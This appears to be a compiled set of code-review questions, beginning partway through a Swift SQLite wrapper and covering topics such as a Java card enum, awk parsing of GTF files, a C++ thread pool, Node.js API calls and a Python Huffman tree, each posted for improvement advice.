    func deleteById(_ id: Int64) throws -> Int32? {
        let sql = "DELETE FROM user WHERE id = \(id)"

        defer {
            sqlite3_db_cacheflush(database)
        }

        guard sqlite3_exec(database, sql, nil, nil, nil) == SQLITE_OK else {
            throw NSError(domain: String(cString: sqlite3_errmsg(database)), code: 1, userInfo: nil)
        }

        return sqlite3_changes(database)
    }

    func findAllDepartments() throws -> [Department]? {
        var statement: OpaquePointer? = nil
        let sql = "SELECT id, name FROM department"

        guard sqlite3_prepare_v2(database, sql, -1, &statement, nil) == SQLITE_OK else {
            throw NSError(domain: String(cString: sqlite3_errmsg(database)), code: 1, userInfo: nil)
        }

        defer {
            sqlite3_finalize(statement)
            sqlite3_db_cacheflush(database)
        }

        var departments: [Department] = []
        while sqlite3_step(statement) == SQLITE_ROW {
            departments.append(Department(id: sqlite3_column_int64(statement, 0), name: String(cString: sqlite3_column_text(statement, 1))))
        }

        return departments
    }
}

Usage of Database Class
do {

   if sqlite3_open_v2(url.path, &database, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | SQLITE_OPEN_FULLMUTEX, nil) == SQLITE_OK { // Existing database (Serialized mode)
         let db = Database(database)
         try! db.findAllDepartments()
         try! db.deleteById(4)
    } else { // Error opening database
        print(String(cString: sqlite3_errmsg(database)))
    }
catch { let error as NSError {
    print(error.description)
}


texts: Should I design my enumeration in some way that indicates what the highest value is?

texts:
This is a subtle question about design in which I want to find the most elegant and appropriate solution.

I have an enumeration representing a French card deck (see code below). With it I need to do certain things, such as displaying the elements in a table. I'll want to display the elements starting with ACE (the highest) down to deuce. The problem is that I don't want my UI part of the code to know which one is the highest and use a descending iterator. Should I have a method in my enumeration, something like "EnumSet descending()" ? I don't want to initialise the constants with integers that indicates their values, since in poker the cards don't have a numerical value per se, just an order. Probably it's just fine if users of this enum are supposed to know that an ACE has the highest value and display values accordingly to what they want, but just wondering if there is a better solution.

public enum Rank {
    DEUCE ("2"),
    THREE ("3"),
    FOUR ("4"),
    FIVE ("5"),
    SIX ("6"),
    SEVEN ("7"),
    EIGHT ("8"),
    NINE ("9"),
    TEN ("10"),
    JACK ("J"),
    QUEEN ("Q"),
    KING ("K"),
    ACE ("A");

    private String symbol;

    Rank (String symbol ) {
        this.symbol = symbol;
    }

    /**
     * Returns a string representation of this rank which is the full name
     * where the first letter is capitalised and the rest are lowercase
     */
    @Override public String toString () {
        //only capitalize the first letter
        String s = super.toString();
        return s.substring (0, 1).toUpperCase() + s.substring(1).toLowerCase();
    }

    public String getSymbol () {
        return this.symbol;
    }
}


texts: String compression function in python code

texts:
I need to create a function called compress that compresses a string by replacing any repeated letters with a letter and number. Can someone suggest a better way to do this?

s=input("Enter the string:")
temp={}
result=" "
for x in s:
    if x in temp:
        temp[x]=temp[x]+1
    else:
        temp[x]=1
for key,value in temp.items():
    result+=str(key)+str(value)
        print(result)


texts: Random walker using Processing.JS on Khan Academy, with new walkers generated on mouse click

texts:
I've created a project on Khan Academy as part of the Natural Simulations course on random walks.

This project is in JavaScript, using the Processing.JS library, slightly modified by Khan Academy.

(In the main, the inclusion of the Processing.JS library offers a few functions for drawing on a canvas. The majority of my project would be perfectly intelligible to someone who knew JavaScript but not about Processing.JS).

The code is as follows:

var Walker = function(colour, x, y) {
    this.radius = 10;
    this.x = x || width/2; // 'width' and 'height' refer to the size of the canvas
    this.y = y || height/2;
    this.r = (colour[0] === 0)? true: colour[0] || random(0, 255);
    this.g = (colour[1] === 0)? true: colour[1] || random(0, 255);
    this.b = (colour[2] === 0)? true: colour[2] || random(0, 255);
    return this;
};

// Randomly move up, down, left, right, or stay in one place
Walker.prototype.walk = function() {
    var choice = floor(random(0, 4));
    if (choice === 0 && this.x < width) {
        this.x += this.radius; // move right
    } else if (choice === 1 && this.x > 0) {
        this.x -= this.radius; // move left
    } else if (choice === 2 && this.y < height) {
        this.y += this.radius; // move down
    } else if (choice === 3 && this.y > 0) {
        this.y -= this.radius; // move up
    }
    return this;
};

Walker.prototype.display = function() { // Processing.JS drawing stuff
    noStroke(); // turn outline off
    fill(this.r, this.g, this.b, 20); // fill(r, g, b, transparency);
    ellipse(this.x, this.y, this.radius, this.radius); // ellipse(x-position, y-position, width, height);
    return this;
};

var walkers = [new Walker([255, 0, 0])];

draw = function() { // repeats 30 times/second. Like a for/while loop, but slower
    for(var i = 0; i < walkers.length; i++) {
        walkers[i].walk().display();
    }
};

mouseClicked = function() {
    walkers.push(
        new Walker([], round(mouseX / walkers[0].radius) * walkers[0].radius, round(mouseY / walkers[0].radius) * walkers[0].radius));
}; // ^ mouseX/mouseY refer to current position of mouse on canvas

View the project on Khan Academy.

I'm concerned about the performance of this code; specifically the for loop in the draw function. As the draw function repeats 30 times/second, will this mean that the loop will also repeat 30 times/second?

The program gets pretty slow when there's quite a few walkers initiated. How can I make this program perform better?


texts:
I am extracting exons details from a GTF file using command line in Unix like cut, awk, grep or sed.

input file.gtf:

chrI    ce11_ws245Genes CDS 8378308 8378427 0.000000    -   0   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes exon    8377602 8378427 0.000000    -   .   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes CDS 8379137 8379239 0.000000    -   1   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes exon    8379137 8379239 0.000000    -   .   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes CDS 8379706 8379815 0.000000    -   0   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes exon    8379706 8379815 0.000000    -   .   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes CDS 8380330 8380445 0.000000    -   2   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes exon    8380330 8380445 0.000000    -   .   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";
chrI    ce11_ws245Genes CDS 8388028 8388092 0.000000    -   1   gene_id "T19A6.1a.2"; transcript_id "T19A6.1a.2";

Desired output:

chrI 8377602 8378427 -  T19A6.1a.2
chrI 8379137 8379239 -  T19A6.1a.2
chrI 8379706 8379815 -  T19A6.1a.2
chrI 8380330 8380445 -  T19A6.1a.2

My successful attempts to solve the problem:

awk '/exon/ {print $1 " " $4 " " $5 " " $7 " " $10;}' file.gtf | awk '{sub(/gene_id/,"",$5)};1' | awk -F'"' '{print $1, $2}'

grep 'exon' file.gtf | cut -f1,4,5,7,9 | cut -d ';' -f1 | awk '{sub(/gene_id/,"",$5)};1' | awk -F'"' '{print $1, $2}'

steps:

search for lines which contain the word 'exon'
cut the fields of interest 1,4,5,7,9
in field 9: cut using the delimiter ';'
remove 'gene_id'
remove the double quotations around the genes' names


texts:
How could this template class ThreadPool be improved?

I use Boost queue to keep std::function's numbers from std::array(simple hashing) from which I can later retrieve the std::function's objects to execute them with operator().
It's not possible to store them directly in boost::lockfree::queue (Stored Object Type must have non-trivial destructor).

That's why I emulate primitive lockfree container with std::array<std::pair<int , ...>.
The GuarderArray template class lacks garbage collector.

#include <iostream>
#include <thread>
#include <mutex>
#include <memory>
#include <atomic>
#include <functional>
#include <boost/lockfree/queue.hpp>
#include <array>

using std::cout ; using std::cin; using std::endl;
using std::mutex; using std::atomic;
using std::array; using std::function;

template <int NN> using guardedArray =  std::array<std::pair<std::atomic<bool>,std::function<void()>>, NN> ;

template <typename T> using lockfreequeue = boost::lockfree::queue<T,boost::lockfree::capacity<1000>>;

class Functor{
    int myNN;
public:
    Functor(int nn):myNN(nn){};
    Functor(std::function<void()> ff) : myff(ff){};
    std::function<void()> myff;
    Functor(const Functor&) = default;
    Functor operator=(const Functor&) ;
    ~Functor() = default;
    void operator()(){
    myff();

    }
};

template <int NN > class GuardedArray{
    guardedArray<NN> myGuardedArray;
public:
    int insertObject(std::function<void()> ff){
    int kk ;
    bool empty;

    do{
    kk = rand () % NN;
    empty = myGuardedArray[kk].first;
    cout << "spining ... " << endl;

    }while(!(std::atomic_compare_exchange_weak(&myGuardedArray[kk].first,&empty,true)));
    myGuardedArray[kk].second = ff;
    return kk;
    };
    std::function<void()> getIndex(int ii){return myGuardedArray[ii].second  ; };
    std::thread garbageCollectorThread;

};

template <int NN > class ThreadPool{

private:
    std::thread tt[NN];
    GuardedArray<1000> myGA;
    bool endFlag;
public:
    ThreadPool():endFlag(false){

    for(int ii = 0 ; ii < NN ; ++ii){
        std::thread localThread(&ThreadPool<NN>:: threadLoop, this);
        tt[ii].swap(localThread);

    }

    };
    void bookTask(std::function<void()> ff){
    int ii = myGA.insertObject(ff);
    mySync.push(ii);
    };

    bool demandedAccess[NN];
    int waitingProcess;
    ~ThreadPool() {endFlag = true; for (int ii = 0 ; ii < 10 ; ii++  ){  tt[ii].join();}   };
    int myWrapper();
    void threadLoop();
    lockfreequeue<int> mySync;

};

template <int NN> void ThreadPool<NN>::threadLoop(){
    std::thread::id kk  = std::this_thread::get_id();
    std::function<void()> fun ;
    int ff;
    while(!endFlag){

    if(!mySync.empty()){
        bool result = mySync.pop(ff);
        if(result){
        fun = myGA.getIndex(ff);
        fun();
        }
    }
    }
}

int main(int argc, char** argv){

    ThreadPool<10> tp;
    Functor ff(( [](){ cout <<"a kuku  "<<endl;  }));
    tp.bookTask(ff);
    std::this_thread::sleep_for(std::chrono::seconds(20));
    return 0 ;
}


texts: Reducing memory usage when comparing two iterables

texts:
I'm changing code that writes data to a DB, so I have a dump (a text file) of an earlier run to compare against, to ensure that my changes don't screw things up. Here goes:

def dbcheck(cursor):
    dbresult = list()
    cursor.execute("SELECT COLUMN FROM TABLE")
    for item in cursor.fetchall():
        line = item[0] + "\n"
        dbresult.append(line)
    with open(dbdump) as f:
        for n, line in enumerate(f):
            if line != dbresult[n]:
                print("DB content does not match original data!")

This code runs fine, but I'm worried that dbresult can grow really large, so am looking for a less risky way of doing this. I'm also curious of what else can be improved.

[sidenote] I left out exception handling for the sake of simplicity/clarity.


texts: Deleting large folders on remote machines

texts:
I am trying to delete a large folders (with many levels of subfolders) over a network (i.e, on a remote machine).

I have the following code and it takes 10 minutes. Is there a way to improve this drastically?

public static boolean deleteDirectory(File directory) {

        File[] files = directory.listFiles(); // Value is null if the file is not an directory or if the file doesn't exist
        if(null!=files && files.length>0){
            //Gets in here only if the file is directory
            long filesCount = files.length;
            for(int i=0; i<filesCount; i++) {
                deleteDirectory(files[i]);
            }
        }
        return(directory.delete());
    }


texts: Pandas transform series values until condition is met without for loop

texts:
I have a pandas Series contain 0s and 1s. Now I want to convert all the 0s to 1s which come before the first 1, and rest of the 1s to 0s. I can achieve that using the below code:
import pandas as pd
a = [0,0,1,0,0,1]
df = pd.Series(a)
flag = True
for i in range(df.shape[0]):
  if (df[i]!=1) & flag:
    df[i]=1
  elif flag:
    flag=False
  else:
    df[i]=0
print(df)

Final dataframe:
[1,1,1,0,0,0]

But how can I optimize it? Perhaps by avoiding the for loop?


texts:
A train operator has decided to hire an observer to track the
  different types of trains transiting at a major train platform in
  Europe. Write a program, using a for loop, to track the different
  train types at the major train station.

  The different types of trains are shown in the following table:

Train types | Train code

Inter-city  | 23
Regional    | 51
Overnight   | 72

  The program should ask the user to enter five sets of train codes.

  The program should then count the number of train codes entered and
  display the statistics.

  Sample run

Enter train type #1: 23
Enter train type #2: 23
Enter train type #3: 51
Enter train type #4: 72
Enter train type #5: 23

  Sample output

Statistics:
3 Inter-city trains
1 Regional train
1 Overnight train

Can you please check whether this code is correct, and maybe make it shorter?

#include <iostream>
using namespace std;

int main()
{
    int train;
    int InterCity = 0;
    int Regional = 0;
    int Overnight = 0;

    cout << "          ------Trains------" << endl;
    for (int i = 1; i <= 5; i++)
    {
        cout << "Enter train type #" << i << ": ";
        cin >> train;

        if (train == 23)
        {
            InterCity++;
        }
        else if (train == 51)
        {
            Regional++;
        }
        else if (train == 72)
        {
            Overnight++;
        }
    }
    cout << "\n        ------Statistics------" << endl;
    cout << InterCity  << " InterCity trains." << endl;
    cout << Regional << " Regional trains." << endl;
    cout << Overnight << " Overnight trains." << endl;

    return 0;
}


texts: Node.js package that retrieves data from an API, formats it and sends it out via email to a distribution list

texts:
I've created a Node.js package that retrieves data from Icinga (a monitoring platform), formats it and passes it off to a class that generates some HTML and then sends it all out as an email.
The email, in its simplest form, looks something like this:

I come from a Ruby/Python background and this is the first time I've ever delved into Node. The code below works and does what I need it to but I have the feeling it isn't using some of Node's best practices. I make 2 API calls, after the first one happens, inside the callback, I make another API call and then when all the data is returned I invoke a function to send off the email. I'm pretty sure this could be using async/await and/or Promises but I'm just not sure where to start in order to refactor it.
// Get the data
const warning = 1;
const error = 2;
const icingaServer = new icingaApi(icingaConfig.url, icingaConfig.port, icingaConfig.username, icingaConfig.password);
const clients = [
        { 'Client 1': '**.**.client_1.**.**' },
        { 'Client 2': '**.**.client_2.**.**' }
    ];
const data = [];

function sendEmail() {
    nodemailerMailgun.sendMail({
        from: 'some@email.com',
        to: appConfig.sendees,
        subject: 'Some subject',
        html: new tableHtmlGenerator(data).run()
    }).then((_res) => {
        let emailAddresses = appConfig.sendees.join(', ');
        console.log(`Email sent successfully to the following addresses: ${emailAddresses}`);
    }).catch((err) => {
        console.log(`Error: ${err.message}`);
    });
}

function allDataRetrieved() {
    return data.length === clients.length;
}

clients.forEach((clientMap) => {
    Object.entries(clientMap).forEach(([client, hostnameWildcard]) => {
        let totalHosts;
        let totalServices;
        let errors;
        let warnings;
        icingaServer.getServiceFiltered({
            "filter": "match(service_name, service.host_name)",
            "filter_vars": {
                "service_name": hostnameWildcard
            }
        }, (err, res) => {
            if (err) return `Error: ${err}`;

            warnings = res.filter(o => o.attrs.state === warning).length;
            errors = res.filter(o => o.attrs.state === error).length;
            totalServices = res.length;

            icingaServer.getHostFiltered({
                "filter": "match(host_name, host.name)",
                "filter_vars": {
                    "host_name": hostnameWildcard
                }
            }, (err, res) => {
                if (err) return `Error: ${err}`;

                warnings += res.filter(o => o.attrs.state === warning).length;
                errors += res.filter(o => o.attrs.state === error).length;
                totalHosts = res.length;

                data.push({
                    name: `${client} (${totalHosts}/${totalServices})`,
                    errors: errors,
                    warnings: warnings
                });

                if (allDataRetrieved()) sendEmail();
            });
        });
    });
});

I've omitted all the require and const definitions at the top of this file as they're not really needed in order to understand the code in my opinion.
The main issue is that one API call happens inside the callback of another API call and this feels nasty to me. I also wait for all the data to be pushed to the data variable by doing a simple but crude if statement to check if all the data has been retrieved and pushed to the array, if it has then the email is sent.
I also feel like I need to add that I'm aware this code could be improved by dumping all this business logic into a class or splitting it out into separate files. I'm not after help in that sense, it's more of how to handle API requests and waiting for the requests to finish and when/how/if to use Promises.


texts: Find last zero in infinite stream of 0's followed by 1's

texts:
Given an infinite stream with the property, such that after all 0's there are only all 1's, find the index of the last 0.

I'm looking for code review, best practices, optimizations etc. Verifying complexity to be O (log n) where n is the first 1 encountered in the search (not the first 1 in the stream).

/**
 * An infinite list takes in an the number of zeros'.
 * After those many zero's only 1's are followed.
 * This is a hypothetical class to represent a inifinite stream in real world.
 * like lets assume a linkedlist shared my multiple threads which keep appending 1's
 */
class InfiniteList extends ArrayList<Integer> {

    InfiniteList(int zeroCount) {
        super(zeroCount);
        add(zeroCount);
    }

    private void add (int zeroEnd) {
        for (int  i = 0; i < zeroEnd; i++) {
            super.add(0);
        }
    }

    @Override
    public Integer get(int i) {
        return super.size() <= i ? 1 : super.get(i);
    }

    @Override
    public int size() {
        throw new UnsupportedOperationException("The array size cannot be obtained.");
    }
}

public final class FindZeroEndInInfiniteStream {

    private FindZeroEndInInfiniteStream() {}

    /**
     * Takes in a infinite list, such that after stream of all 0's we encounter only all 1's.
     * Returns the last index of zero.
     * If no zero is found then -1 is returned.
     * This code would block until a zero is found in an infinite stream.
     * If the infinite has 0's and 1's mixed randomly then output is unpredicatable/
     *
     * @param infinite      the infinite stream of 0's followed by 1's
     * @return              the last index of zero.
     */
    public static int zeroLastIndex(InfiniteList infinite) {
        if (infinite == null) throw new NullPointerException("The inifinte array was null");
        return modifiedBinarySearch(infinite);
    }

    private static int modifiedBinarySearch(InfiniteList infinite) {
        if (infinite.get(0) == 1) return -1;
        if (infinite.get(1) == 1) return 0;

        int passive = 0;  // does nothing, simply stores previous lower bound.
        int active = 1; // does the searching, toggling back and forth

        while(!(infinite.get(active) == 0 && infinite.get(active + 1) == 1)) {
            if (infinite.get(active) == 0) {
                passive = active;
                active = active * 2;
            } else {
                active = (passive + active)/2; // active has gone beyond the 38th parallel :). Now go back to south korea.
            }
        }
        return active;
    }

    public static void main(String[] args) {
       InfiniteList iList = new InfiniteList(15);
       Assert.assertEquals(14,  zeroLastIndex(iList));

       iList = new InfiniteList(27);
       Assert.assertEquals(26,  zeroLastIndex(iList));
    }
}


texts: XMLHttpRequest with cancel, timeout and retry option

texts:
I've made the following code-snippet, trying to achieve a replacement for Fetch Which have the abortion, timeout and retry options.

It worked for me, but i'm not sure if it is a good idea to do so or not. Any better ideas?

const customXmlHttpRequest = (url, opts={}, cancel={}, timeoutMS = 30000) => {

  return new Promise((resolve, reject)=>{

    var xhr = new XMLHttpRequest();
    xhr.open(opts.method || 'get', url);
    xhr.timeout = timeoutMS;
    for (var k in opts.headers || {}){
      xhr.setRequestHeader(k, opts.headers[k]);
    }
    xhr.onload = e => resolve(e.target);
    cancel.abort = () => {
      xhr.abort();
      reject("Cancelled")
    };
    xhr.onerror = reject;
    xhr.ontimeout = () => {
      reject("Timeout")
    }
    xhr.send(opts.body);

  });

}

const FetchWithRetry = (url, opts={}, retry=3, retryDelay=1000, cancel={}, timeoutMS = 30000) => {
  return new Promise((resolve, reject)=>{
    var counter = 0;

    const FetchWithTimeout = ()=>{
      if(counter < retry){
        counter++
        customXmlHttpRequest(url, opts, cancel={}, timeoutMS = 30000)
        .then((res)=>{
          resolve(res)
        })
        .catch((e)=>{
          if(e === "Cancelled"){
            reject(e)
          } else if(e === "Timeout"){
            ///retry
            setTimeout(()=>{
              FetchWithTimeout()
            }, retryDelay)
          } else if(String(e).includes("Network request failed")){
            /// retry
            setTimeout(()=>{
              FetchWithTimeout()
            }, retryDelay)
          } else {
            reject(e)
          }
        })
      }
    }
    FetchWithTimeout()
  })
}


texts:
"""
### General Idea:

Given a set of n character set C.

1. Begin with a set of |C| leaves.
2. Repeatedly using **min-priority** queue `Q`, keyed on frequencies,
   identify the two least-frequent objects to merge together.
3. Until all be merged.

### Input

List of tuple containing frequency and character.

### Output

A tree T, called Huffman tree.
"""

import heapq

class Node(object):
    def __init__(self, key, freq, left=None, right=None):
        self.key = key
        self.freq = freq
        self.left = left
        self.right = right

    def __cmp__(self, other):
        return cmp(self.freq, other.freq)

    def __str__(self):
        return "({0}, {1})".format(self.key, self.freq)

    def __repr__(self):
        return self.__str__()

def encode(rel_freq):
    nodes = create_leaf_nodes(rel_freq)
    heapq.heapify(nodes)
    root = build_encode_tree(nodes)
    #print_tree(root)
    return root

def create_leaf_nodes(rel_freq):
    return map(lambda (freq, key): Node(key, freq), rel_freq)

def merge(n1, n2):
    freq = n1.freq + n2.freq
    if n1.freq <= n2.freq:
        return Node(n1.key + n2.key, freq, n1, n2)
    return Node(n2.key + n1.key, freq, n2, n1)

def build_encode_tree(nodes):
    root = nodes[0]
    while len(nodes) > 1:
        n1 = heapq.heappop(nodes)
        n2 = heapq.heappop(nodes)
        root = merge(n1, n2)
        heapq.heappush(nodes, root)
    return root

# ---------------- Helpers --------------------------
def print_tree(root):
    for nodes in level_order(root):
        for node in nodes:
            print node,
        print

def level_order(node):
  """Given Binary Tree gives list nodes in each level."""
  current_level = [node]
  while current_level:
    yield current_level
    next_level = []
    for node in current_level:
      if node.left:
        next_level.append(node.left)
      if node.right:
        next_level.append(node.right)
    current_level = next_level

import unittest

class TestHuffmanEncoding(unittest.TestCase):
    def test_single_char(self):
        rel_freq = [(24, 'A')]
        actual = str(encode(rel_freq))
        self.assertEqual(actual, "(A, 24)")

    def test_valid_encoding(self):
        #expected = [('A', '0'), ('B', '100'), ('C', '101'), ('D', '110'), ('E', '111')]
        rel_freq = [(24, 'A'), (12, 'B'), (10, 'C'), (8, 'D'), (8, 'E')]
        expected = "(AEDCB, 62)"
        actual = str(encode(rel_freq))
        self.assertEqual(actual, expected)

        rel_freq = [(45, 'A'), (13, 'B'), (12, 'C'), (16, 'D'), (9, 'E'), (5, 'F')]
        expected = "(ACBFED, 100)"
        actual = str(encode(rel_freq))
        self.assertEqual(actual, expected)

if __name__ == '__main__':
    unittest.main()

Note:

The code do generate the Huffman tree but I am more interested in finding the encoding of each character, the basic approach what I think is traversing each path from root to leaf such that moving left adds 0 to the path and moving right adds 1. Hopefully I would post the solution soon in another review.